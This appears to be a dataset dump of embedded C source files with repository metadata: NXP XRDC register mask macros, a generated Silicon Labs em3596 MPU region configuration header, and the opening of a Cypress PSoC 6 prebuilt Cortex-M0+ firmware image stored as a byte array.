#define XRDC_MDA_Wm_n_PE(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_PE_SHIFT)) & XRDC_MDA_Wm_n_PE_MASK)
#define XRDC_MDA_Wm_n_PIDM_MASK (0x3F00U)
#define XRDC_MDA_Wm_n_PIDM_SHIFT (8U)
#define XRDC_MDA_Wm_n_PIDM(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_PIDM_SHIFT)) & XRDC_MDA_Wm_n_PIDM_MASK)
#define XRDC_MDA_Wm_n_PID_MASK (0x3F0000U)
#define XRDC_MDA_Wm_n_PID_SHIFT (16U)
#define XRDC_MDA_Wm_n_PID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_PID_SHIFT)) & XRDC_MDA_Wm_n_PID_MASK)
#define XRDC_MDA_Wm_n_LPID_MASK (0xF000000U)
#define XRDC_MDA_Wm_n_LPID_SHIFT (24U)
#define XRDC_MDA_Wm_n_LPID(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_LPID_SHIFT)) & XRDC_MDA_Wm_n_LPID_MASK)
#define XRDC_MDA_Wm_n_LPE_MASK (0x10000000U)
#define XRDC_MDA_Wm_n_LPE_SHIFT (28U)
#define XRDC_MDA_Wm_n_LPE(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_LPE_SHIFT)) & XRDC_MDA_Wm_n_LPE_MASK)
#define XRDC_MDA_Wm_n_DFMT_MASK (0x20000000U)
#define XRDC_MDA_Wm_n_DFMT_SHIFT (29U)
#define XRDC_MDA_Wm_n_DFMT(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_DFMT_SHIFT)) & XRDC_MDA_Wm_n_DFMT_MASK)
#define XRDC_MDA_Wm_n_LK1_MASK (0x40000000U)
#define XRDC_MDA_Wm_n_LK1_SHIFT (30U)
#define XRDC_MDA_Wm_n_LK1(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_LK1_SHIFT)) & XRDC_MDA_Wm_n_LK1_MASK)
#define XRDC_MDA_Wm_n_VLD_MASK (0x80000000U)
#define XRDC_MDA_Wm_n_VLD_SHIFT (31U)
#define XRDC_MDA_Wm_n_VLD(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MDA_Wm_n_VLD_SHIFT)) & XRDC_MDA_Wm_n_VLD_MASK)
/* The count of XRDC_MDA_Wm_n */
#define XRDC_MDA_Wm_n_COUNT (38U)
/* The count of XRDC_MDA_Wm_n */
#define XRDC_MDA_Wm_n_COUNT2 (2U)
/*! @name PDAC_W - Peripheral Domain Access Control W0..Peripheral Domain Access Control W1 */
#define XRDC_PDAC_W_D0ACP_MASK (0x7U)
#define XRDC_PDAC_W_D0ACP_SHIFT (0U)
#define XRDC_PDAC_W_D0ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D0ACP_SHIFT)) & XRDC_PDAC_W_D0ACP_MASK)
#define XRDC_PDAC_W_D8ACP_MASK (0x7U)
#define XRDC_PDAC_W_D8ACP_SHIFT (0U)
#define XRDC_PDAC_W_D8ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D8ACP_SHIFT)) & XRDC_PDAC_W_D8ACP_MASK)
#define XRDC_PDAC_W_D1ACP_MASK (0x38U)
#define XRDC_PDAC_W_D1ACP_SHIFT (3U)
#define XRDC_PDAC_W_D1ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D1ACP_SHIFT)) & XRDC_PDAC_W_D1ACP_MASK)
#define XRDC_PDAC_W_D9ACP_MASK (0x38U)
#define XRDC_PDAC_W_D9ACP_SHIFT (3U)
#define XRDC_PDAC_W_D9ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D9ACP_SHIFT)) & XRDC_PDAC_W_D9ACP_MASK)
#define XRDC_PDAC_W_D10ACP_MASK (0x1C0U)
#define XRDC_PDAC_W_D10ACP_SHIFT (6U)
#define XRDC_PDAC_W_D10ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D10ACP_SHIFT)) & XRDC_PDAC_W_D10ACP_MASK)
#define XRDC_PDAC_W_D2ACP_MASK (0x1C0U)
#define XRDC_PDAC_W_D2ACP_SHIFT (6U)
#define XRDC_PDAC_W_D2ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D2ACP_SHIFT)) & XRDC_PDAC_W_D2ACP_MASK)
#define XRDC_PDAC_W_D11ACP_MASK (0xE00U)
#define XRDC_PDAC_W_D11ACP_SHIFT (9U)
#define XRDC_PDAC_W_D11ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D11ACP_SHIFT)) & XRDC_PDAC_W_D11ACP_MASK)
#define XRDC_PDAC_W_D3ACP_MASK (0xE00U)
#define XRDC_PDAC_W_D3ACP_SHIFT (9U)
#define XRDC_PDAC_W_D3ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D3ACP_SHIFT)) & XRDC_PDAC_W_D3ACP_MASK)
#define XRDC_PDAC_W_D4ACP_MASK (0x7000U)
#define XRDC_PDAC_W_D4ACP_SHIFT (12U)
#define XRDC_PDAC_W_D4ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D4ACP_SHIFT)) & XRDC_PDAC_W_D4ACP_MASK)
#define XRDC_PDAC_W_D12ACP_MASK (0x7000U)
#define XRDC_PDAC_W_D12ACP_SHIFT (12U)
#define XRDC_PDAC_W_D12ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D12ACP_SHIFT)) & XRDC_PDAC_W_D12ACP_MASK)
#define XRDC_PDAC_W_D5ACP_MASK (0x38000U)
#define XRDC_PDAC_W_D5ACP_SHIFT (15U)
#define XRDC_PDAC_W_D5ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D5ACP_SHIFT)) & XRDC_PDAC_W_D5ACP_MASK)
#define XRDC_PDAC_W_D13ACP_MASK (0x38000U)
#define XRDC_PDAC_W_D13ACP_SHIFT (15U)
#define XRDC_PDAC_W_D13ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D13ACP_SHIFT)) & XRDC_PDAC_W_D13ACP_MASK)
#define XRDC_PDAC_W_D14ACP_MASK (0x1C0000U)
#define XRDC_PDAC_W_D14ACP_SHIFT (18U)
#define XRDC_PDAC_W_D14ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D14ACP_SHIFT)) & XRDC_PDAC_W_D14ACP_MASK)
#define XRDC_PDAC_W_D6ACP_MASK (0x1C0000U)
#define XRDC_PDAC_W_D6ACP_SHIFT (18U)
#define XRDC_PDAC_W_D6ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D6ACP_SHIFT)) & XRDC_PDAC_W_D6ACP_MASK)
#define XRDC_PDAC_W_D15ACP_MASK (0xE00000U)
#define XRDC_PDAC_W_D15ACP_SHIFT (21U)
#define XRDC_PDAC_W_D15ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D15ACP_SHIFT)) & XRDC_PDAC_W_D15ACP_MASK)
#define XRDC_PDAC_W_D7ACP_MASK (0xE00000U)
#define XRDC_PDAC_W_D7ACP_SHIFT (21U)
#define XRDC_PDAC_W_D7ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_D7ACP_SHIFT)) & XRDC_PDAC_W_D7ACP_MASK)
#define XRDC_PDAC_W_SNUM_MASK (0x3F000000U)
#define XRDC_PDAC_W_SNUM_SHIFT (24U)
#define XRDC_PDAC_W_SNUM(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_SNUM_SHIFT)) & XRDC_PDAC_W_SNUM_MASK)
#define XRDC_PDAC_W_LK2_MASK (0x60000000U)
#define XRDC_PDAC_W_LK2_SHIFT (29U)
#define XRDC_PDAC_W_LK2(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_LK2_SHIFT)) & XRDC_PDAC_W_LK2_MASK)
#define XRDC_PDAC_W_SE_MASK (0x40000000U)
#define XRDC_PDAC_W_SE_SHIFT (30U)
#define XRDC_PDAC_W_SE(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_SE_SHIFT)) & XRDC_PDAC_W_SE_MASK)
#define XRDC_PDAC_W_VLD_MASK (0x80000000U)
#define XRDC_PDAC_W_VLD_SHIFT (31U)
#define XRDC_PDAC_W_VLD(x) (((uint32_t)(((uint32_t)(x)) << XRDC_PDAC_W_VLD_SHIFT)) & XRDC_PDAC_W_VLD_MASK)
/* The count of XRDC_PDAC_W */
#define XRDC_PDAC_W_COUNT (257U)
/* The count of XRDC_PDAC_W */
#define XRDC_PDAC_W_COUNT2 (2U)
/*! @name MRGD_W - Memory Region Descriptor W0..Memory Region Descriptor W7 */
#define XRDC_MRGD_W_SRD_MASK (0xFFU)
#define XRDC_MRGD_W_SRD_SHIFT (0U)
#define XRDC_MRGD_W_SRD(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_SRD_SHIFT)) & XRDC_MRGD_W_SRD_MASK)
#define XRDC_MRGD_W_D8ACP_MASK (0x7U)
#define XRDC_MRGD_W_D8ACP_SHIFT (0U)
#define XRDC_MRGD_W_D8ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D8ACP_SHIFT)) & XRDC_MRGD_W_D8ACP_MASK)
#define XRDC_MRGD_W_D0ACP_MASK (0x7U)
#define XRDC_MRGD_W_D0ACP_SHIFT (0U)
#define XRDC_MRGD_W_D0ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D0ACP_SHIFT)) & XRDC_MRGD_W_D0ACP_MASK)
#define XRDC_MRGD_W_D1ACP_MASK (0x38U)
#define XRDC_MRGD_W_D1ACP_SHIFT (3U)
#define XRDC_MRGD_W_D1ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D1ACP_SHIFT)) & XRDC_MRGD_W_D1ACP_MASK)
#define XRDC_MRGD_W_D9ACP_MASK (0x38U)
#define XRDC_MRGD_W_D9ACP_SHIFT (3U)
#define XRDC_MRGD_W_D9ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D9ACP_SHIFT)) & XRDC_MRGD_W_D9ACP_MASK)
#define XRDC_MRGD_W_BASEADDR_MASK (0xFFFFFFE0U)
#define XRDC_MRGD_W_BASEADDR_SHIFT (5U)
#define XRDC_MRGD_W_BASEADDR(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_BASEADDR_SHIFT)) & XRDC_MRGD_W_BASEADDR_MASK)
#define XRDC_MRGD_W_D2ACP_MASK (0x1C0U)
#define XRDC_MRGD_W_D2ACP_SHIFT (6U)
#define XRDC_MRGD_W_D2ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D2ACP_SHIFT)) & XRDC_MRGD_W_D2ACP_MASK)
#define XRDC_MRGD_W_D10ACP_MASK (0x1C0U)
#define XRDC_MRGD_W_D10ACP_SHIFT (6U)
#define XRDC_MRGD_W_D10ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D10ACP_SHIFT)) & XRDC_MRGD_W_D10ACP_MASK)
#define XRDC_MRGD_W_SZ_MASK (0x1F00U)
#define XRDC_MRGD_W_SZ_SHIFT (8U)
#define XRDC_MRGD_W_SZ(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_SZ_SHIFT)) & XRDC_MRGD_W_SZ_MASK)
#define XRDC_MRGD_W_D3ACP_MASK (0xE00U)
#define XRDC_MRGD_W_D3ACP_SHIFT (9U)
#define XRDC_MRGD_W_D3ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D3ACP_SHIFT)) & XRDC_MRGD_W_D3ACP_MASK)
#define XRDC_MRGD_W_D11ACP_MASK (0xE00U)
#define XRDC_MRGD_W_D11ACP_SHIFT (9U)
#define XRDC_MRGD_W_D11ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D11ACP_SHIFT)) & XRDC_MRGD_W_D11ACP_MASK)
#define XRDC_MRGD_W_D12ACP_MASK (0x7000U)
#define XRDC_MRGD_W_D12ACP_SHIFT (12U)
#define XRDC_MRGD_W_D12ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D12ACP_SHIFT)) & XRDC_MRGD_W_D12ACP_MASK)
#define XRDC_MRGD_W_D4ACP_MASK (0x7000U)
#define XRDC_MRGD_W_D4ACP_SHIFT (12U)
#define XRDC_MRGD_W_D4ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D4ACP_SHIFT)) & XRDC_MRGD_W_D4ACP_MASK)
#define XRDC_MRGD_W_D5ACP_MASK (0x38000U)
#define XRDC_MRGD_W_D5ACP_SHIFT (15U)
#define XRDC_MRGD_W_D5ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D5ACP_SHIFT)) & XRDC_MRGD_W_D5ACP_MASK)
#define XRDC_MRGD_W_D13ACP_MASK (0x38000U)
#define XRDC_MRGD_W_D13ACP_SHIFT (15U)
#define XRDC_MRGD_W_D13ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D13ACP_SHIFT)) & XRDC_MRGD_W_D13ACP_MASK)
#define XRDC_MRGD_W_D6ACP_MASK (0x1C0000U)
#define XRDC_MRGD_W_D6ACP_SHIFT (18U)
#define XRDC_MRGD_W_D6ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D6ACP_SHIFT)) & XRDC_MRGD_W_D6ACP_MASK)
#define XRDC_MRGD_W_D14ACP_MASK (0x1C0000U)
#define XRDC_MRGD_W_D14ACP_SHIFT (18U)
#define XRDC_MRGD_W_D14ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D14ACP_SHIFT)) & XRDC_MRGD_W_D14ACP_MASK)
#define XRDC_MRGD_W_D15ACP_MASK (0xE00000U)
#define XRDC_MRGD_W_D15ACP_SHIFT (21U)
#define XRDC_MRGD_W_D15ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D15ACP_SHIFT)) & XRDC_MRGD_W_D15ACP_MASK)
#define XRDC_MRGD_W_D7ACP_MASK (0xE00000U)
#define XRDC_MRGD_W_D7ACP_SHIFT (21U)
#define XRDC_MRGD_W_D7ACP(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_D7ACP_SHIFT)) & XRDC_MRGD_W_D7ACP_MASK)
#define XRDC_MRGD_W_SNUM_MASK (0x3F000000U)
#define XRDC_MRGD_W_SNUM_SHIFT (24U)
#define XRDC_MRGD_W_SNUM(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_SNUM_SHIFT)) & XRDC_MRGD_W_SNUM_MASK)
#define XRDC_MRGD_W_LK2_MASK (0x60000000U)
#define XRDC_MRGD_W_LK2_SHIFT (29U)
#define XRDC_MRGD_W_LK2(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_LK2_SHIFT)) & XRDC_MRGD_W_LK2_MASK)
#define XRDC_MRGD_W_SE_MASK (0x40000000U)
#define XRDC_MRGD_W_SE_SHIFT (30U)
#define XRDC_MRGD_W_SE(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_SE_SHIFT)) & XRDC_MRGD_W_SE_MASK)
#define XRDC_MRGD_W_VLD_MASK (0x80000000U)
#define XRDC_MRGD_W_VLD_SHIFT (31U)
#define XRDC_MRGD_W_VLD(x) (((uint32_t)(((uint32_t)(x)) << XRDC_MRGD_W_VLD_SHIFT)) & XRDC_MRGD_W_VLD_MASK)
/* The count of XRDC_MRGD_W */
#define XRDC_MRGD_W_COUNT (24U)
/* The count of XRDC_MRGD_W */
#define XRDC_MRGD_W_COUNT2 (8U)
/*!
* @}
*/ /* end of group XRDC_Register_Masks */
/* XRDC - Peripheral instance base addresses */
/** Peripheral XRDC base address */
#define XRDC_BASE (0x40014000u)
/** Peripheral XRDC base pointer */
#define XRDC ((XRDC_Type *)XRDC_BASE)
/** Array initializer of XRDC peripheral base addresses */
#define XRDC_BASE_ADDRS { XRDC_BASE }
/** Array initializer of XRDC peripheral base pointers */
#define XRDC_BASE_PTRS { XRDC }
/*!
* @}
*/ /* end of group XRDC_Peripheral_Access_Layer */
/*
** End of section using anonymous unions
*/
#if defined(__ARMCC_VERSION)
#pragma pop
#elif defined(__CWCC__)
#pragma pop
#elif defined(__GNUC__)
/* leave anonymous unions enabled */
#elif defined(__IAR_SYSTEMS_ICC__)
#pragma language=default
#else
#error Not supported compiler type
#endif
/*!
* @}
*/ /* end of group Peripheral_access_layer */
/* ----------------------------------------------------------------------------
-- SDK Compatibility
---------------------------------------------------------------------------- */
/*!
* @addtogroup SDK_Compatibility_Symbols SDK Compatibility
* @{
*/
#define I2S_TCR2_CLKMODE_MASK I2S_TCR2_MSEL_MASK
#define I2S_TCR2_CLKMODE_SHIFT I2S_TCR2_MSEL_SHIFT
#define I2S_TCR2_CLKMODE(x) I2S_TCR2_MSEL(x)
#define I2S_RCR2_CLKMODE_MASK I2S_RCR2_MSEL_MASK
#define I2S_RCR2_CLKMODE_SHIFT I2S_RCR2_MSEL_SHIFT
#define I2S_RCR2_CLKMODE(x) I2S_RCR2_MSEL(x)
#define FPTA_BASE FGPIOA_BASE
#define FPTA FGPIOA
#define PTA_BASE GPIOA_BASE
#define PTA GPIOA
#define PTB_BASE GPIOB_BASE
#define PTB GPIOB
#define PTC_BASE GPIOC_BASE
#define PTC GPIOC
#define PTD_BASE GPIOD_BASE
#define PTD GPIOD
#define PTE_BASE GPIOE_BASE
#define PTE GPIOE
#define I2C_FLT_STOPIE_MASK This_symbol_has_been_deprecated
#define I2C_FLT_STOPIE_SHIFT This_symbol_has_been_deprecated
#define I2S_RCR2_CLKMODE_MASK I2S_RCR2_MSEL_MASK
#define I2S_RCR2_CLKMODE_SHIFT I2S_RCR2_MSEL_SHIFT
#define I2S_RCR2_CLKMODE(x) I2S_RCR2_MSEL(x)
#define I2S_TCR2_CLKMODE_MASK I2S_TCR2_MSEL_MASK
#define I2S_TCR2_CLKMODE_SHIFT I2S_TCR2_MSEL_SHIFT
#define I2S_TCR2_CLKMODE(x) I2S_TCR2_MSEL(x)
#define LPTimer_IRQn LPTMR0_IRQn
#define LPTimer_IRQHandler LPTMR0_IRQHandler
#define TRNG0 TRNG
/*!
* @}
*/ /* end of group SDK_Compatibility_Symbols */
#endif /* _MKL28T7_CORE0_H_ */
| [
"flit@me.com"
] | flit@me.com |
cbbb378d667a9daf3931a1880eb23ba5107f7479 | ffca8ba2fe1392fd5012b4b08245c969a00161bb | /Thread-1.0.1/hal/micro/cortexm3/em35x/em3596/mpu-config.h | f9be3c2161361d5d8458481bc8804639909d0074 | [] | no_license | umangparekh/thread_apps | c7e5f2fadb091107f6135de433812e6d78588adc | 989f324d44437e5a71a69551a4f8148b38cf55cd | refs/heads/master | 2021-01-10T02:02:34.394997 | 2015-09-29T17:58:17 | 2015-09-29T17:58:17 | 43,340,391 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 4,202 | h | /** @file hal/micro/cortexm3/em35x/em3596/mpu-config.h
*
* @brief MPU configuration for the em3596
*
* THIS IS A GENERATED FILE. DO NOT EDIT.
*
* <!-- Copyright 2015 Silicon Laboratories, Inc. *80*-->
*/
#ifndef __MPU_H__
#error This header should not be included directly, use hal/micro/cortexm3/mpu.h
#endif
#ifndef __EM3596_MPU_CFG_H__
#define __EM3596_MPU_CFG_H__
#include "hal/micro/micro.h"
// Define the address offsets for all of our MPU regions
#define FLASH_REGION (0x08000000 + 0x10)
#define PERIPH_REGION (0x40000000 + 0x11)
#define USERPER_REGION (0x40008000 + 0x12)
#define SRAM_REGION (0x20000000 + 0x13)
#define GUARD_REGION (0x20000000 + 0x14)
#define SPARE0_REGION (0x20000000 + 0x15)
#define SPARE1_REGION (0x20000000 + 0x16)
#define SPARE2_REGION (0x20000000 + 0x17)
//=============================================================================
// Define the data used to initialize the MPU. Each of the 8 MPU regions
// has a programmable size and various attributes. A region must be a power of
// two in size, and its base address must be a multiple of that size. Regions
// are divided into 8 equal-sized sub-regions that can be individually disabled.
// A region is defined by what is written to MPU_BASE and MPU_ATTR.
// MPU_BASE holds the region base address, with some low order bits ignored
// depending on the region size. If B4 is set, then B3:0 set the region number.
// The MPU_ATTR fields are:
// XN (1 bit) - set to disable instruction execution
// AP (2 bits) - selects Privilege & User access- None, Read-only or Read-Write
// TEX,S,C,B (6 bits) - configures memory type, write ordering, shareable, ...
// SRD (8 bits) - a set bit disables the corresponding sub-region
// SIZE (5 bits) - specifies the region size as a power of two
// ENABLE (1 bit) - set to enable the region, except any disabled sub-regions
//=============================================================================
// Region 0 - Flash, including main, fixed and customer info blocks:
// execute, normal, not shareable
// Enabled sub-regions: 08000000 - 0809FFFF
#define FLASH_REGION_ATTR MATTR(0, PRO_URO, MEM_NORMAL, 0xE0, SIZE_1M, 1)
// Region 1 - System peripherals: no execute, non-shared device
// Enabled sub-regions: 40000000 - 4001FFFF
#define PERIPH_REGION_ATTR MATTR(1, PRW_URO, MEM_DEVICE, 0x00, SIZE_128K, 1)
// Region 2 - User peripherals: no execute, non-shared device
// Enabled sub-regions: 4000A000 - 4000FFFF
#define USERPER_REGION_ATTR MATTR(1, PRW_URW, MEM_DEVICE, 0x03, SIZE_32K, 1)
// Region 3 - SRAM: no execute, normal, not shareable
// Enabled sub-regions: 20000000 - 2000FFFF
#define SRAM_REGION_ATTR MATTR(1, PRW_URW, MEM_NORMAL, 0x00, SIZE_32K, 1)
// Region 4 - Guard region between the heap and stack
#define GUARD_REGION_ATTR_EN MATTR(1, PNA_UNA, MEM_NORMAL, 0x00, \
HEAP_GUARD_REGION_SIZE, 1)
#define GUARD_REGION_ATTR_DIS MATTR(1, PNA_UNA, MEM_NORMAL, 0x00, \
HEAP_GUARD_REGION_SIZE, 0)
// Regions 5-7 - unused: disabled (otherwise set up for SRAM)
#define SPARE0_REGION_ATTR MATTR(1, PRW_URW, MEM_NORMAL, 0x00, SIZE_1K, 0)
#define SPARE1_REGION_ATTR MATTR(1, PRW_URW, MEM_NORMAL, 0x00, SIZE_1K, 0)
#define SPARE2_REGION_ATTR MATTR(1, PRW_URW, MEM_NORMAL, 0x00, SIZE_1K, 0)
// Map the regions defined above into more generic versions that are
// appropriate for mpu.c
#define MPU_REGION0_BASE FLASH_REGION
#define MPU_REGION1_BASE PERIPH_REGION
#define MPU_REGION2_BASE USERPER_REGION
#define MPU_REGION3_BASE SRAM_REGION
#define MPU_REGION4_BASE GUARD_REGION
#define MPU_REGION5_BASE SPARE0_REGION
#define MPU_REGION6_BASE SPARE1_REGION
#define MPU_REGION7_BASE SPARE2_REGION
#define MPU_REGION0_ATTR FLASH_REGION_ATTR
#define MPU_REGION1_ATTR PERIPH_REGION_ATTR
#define MPU_REGION2_ATTR USERPER_REGION_ATTR
#define MPU_REGION3_ATTR SRAM_REGION_ATTR
#define MPU_REGION4_ATTR GUARD_REGION_ATTR_DIS
#define MPU_REGION5_ATTR SPARE0_REGION_ATTR
#define MPU_REGION6_ATTR SPARE1_REGION_ATTR
#define MPU_REGION7_ATTR SPARE2_REGION_ATTR
#endif //__EM3596_MPU_CFG_H__
| [
"umangparekh@gmail.com"
] | umangparekh@gmail.com |
e037093c59a425901a66ed36b6b12e9f48c0cabb | 20c67a9b23f2af13fe197dc7ad840d373931234a | /targets/TARGET_Cypress/TARGET_PSOC6/psoc6cm0p/COMPONENT_CM0P_CRYPTO/psoc6_03_cm0p_crypto.c | 5d32d508a5ecdc86a300bc0b80deb798fb9115ee | [
"LicenseRef-scancode-pbl-1.0",
"BSD-3-Clause",
"MIT",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | OSHChip/mbed-os | 84d4985bec3b329b436d13fc45de72296a648b82 | 2bde6581a6710db6613aabd0493d727bce81a9ad | refs/heads/master | 2021-05-16T14:38:16.365393 | 2019-11-21T14:29:29 | 2019-11-21T14:29:29 | 118,018,112 | 0 | 1 | Apache-2.0 | 2019-10-17T00:49:17 | 2018-01-18T17:56:20 | C | UTF-8 | C | false | false | 234,813 | c | /***************************************************************************//**
* \file psoc6_03_cm0p_crypto.c
*
* \brief
* Cortex-M0+ prebuilt application image.
*
********************************************************************************
* \copyright
* Copyright (c) 2018-2019 Cypress Semiconductor Corporation
* SPDX-License-Identifier: LicenseRef-PBL
*
* Licensed under the Permissive Binary License
*******************************************************************************/
#include <stdint.h>
#include "cy_device_headers.h"
#if defined(CY_DEVICE_PSOC6A512K)
#if defined(__APPLE__) && defined(__clang__)
__attribute__ ((__section__("__CY_M0P_IMAGE,__cy_m0p_image"), used))
#elif defined(__GNUC__) || defined(__ARMCC_VERSION)
__attribute__ ((__section__(".cy_m0p_image"), used))
#elif defined(__ICCARM__)
#pragma location=".cy_m0p_image"
#else
#error "An unsupported toolchain"
#endif
const uint8_t cy_m0p_image[] = {
0x00u, 0x20u, 0x00u, 0x08u, 0xebu, 0x00u, 0x00u, 0x10u, 0x0du, 0x00u, 0x00u, 0x00u, 0x4du, 0x01u, 0x00u, 0x10u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x49u, 0x01u, 0x00u, 0x10u,
0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u,
0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u,
0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u,
0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u,
0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u, 0x49u, 0x01u, 0x00u, 0x10u,
0x10u, 0xb5u, 0x06u, 0x4cu, 0x23u, 0x78u, 0x00u, 0x2bu, 0x07u, 0xd1u, 0x05u, 0x4bu, 0x00u, 0x2bu, 0x02u, 0xd0u,
0x04u, 0x48u, 0x00u, 0xe0u, 0x00u, 0xbfu, 0x01u, 0x23u, 0x23u, 0x70u, 0x10u, 0xbdu, 0x18u, 0x05u, 0x00u, 0x08u,
0x00u, 0x00u, 0x00u, 0x00u, 0x60u, 0x79u, 0x00u, 0x10u, 0x04u, 0x4bu, 0x10u, 0xb5u, 0x00u, 0x2bu, 0x03u, 0xd0u,
0x03u, 0x49u, 0x04u, 0x48u, 0x00u, 0xe0u, 0x00u, 0xbfu, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x00u, 0x00u, 0x00u, 0x00u,
0x1cu, 0x05u, 0x00u, 0x08u, 0x60u, 0x79u, 0x00u, 0x10u, 0x02u, 0x30u, 0x80u, 0x08u, 0x03u, 0xd0u, 0x01u, 0x30u,
0x02u, 0x38u, 0xfcu, 0xd1u, 0xc0u, 0x46u, 0xc0u, 0x46u, 0x70u, 0x47u, 0xefu, 0xf3u, 0x10u, 0x80u, 0x72u, 0xb6u,
0x70u, 0x47u, 0x80u, 0xf3u, 0x10u, 0x88u, 0x70u, 0x47u, 0x70u, 0x47u, 0xffu, 0xf7u, 0xfdu, 0xffu, 0x72u, 0xb6u,
0x0fu, 0x4cu, 0x10u, 0x4du, 0xacu, 0x42u, 0x09u, 0xdau, 0x21u, 0x68u, 0x62u, 0x68u, 0xa3u, 0x68u, 0x04u, 0x3bu,
0x02u, 0xdbu, 0xc8u, 0x58u, 0xd0u, 0x50u, 0xfau, 0xe7u, 0x0cu, 0x34u, 0xf3u, 0xe7u, 0x0au, 0x49u, 0x0bu, 0x4au,
0x00u, 0x20u, 0x52u, 0x1au, 0x02u, 0xddu, 0x04u, 0x3au, 0x88u, 0x50u, 0xfcu, 0xdcu, 0x08u, 0x48u, 0x09u, 0x49u,
0x08u, 0x60u, 0xbfu, 0xf3u, 0x4fu, 0x8fu, 0x06u, 0xf0u, 0x3fu, 0xfcu, 0x06u, 0xf0u, 0x5du, 0xfbu, 0xfeu, 0xe7u,
0x64u, 0x79u, 0x00u, 0x10u, 0x7cu, 0x79u, 0x00u, 0x10u, 0x18u, 0x05u, 0x00u, 0x08u, 0x64u, 0x07u, 0x00u, 0x08u,
0x00u, 0x00u, 0x00u, 0x08u, 0x08u, 0xedu, 0x00u, 0xe0u, 0xfeu, 0xe7u, 0xfeu, 0xe7u, 0x00u, 0xb5u, 0x04u, 0x20u,
0x71u, 0x46u, 0x08u, 0x42u, 0x02u, 0xd0u, 0xefu, 0xf3u, 0x09u, 0x80u, 0x01u, 0xe0u, 0xefu, 0xf3u, 0x08u, 0x80u,
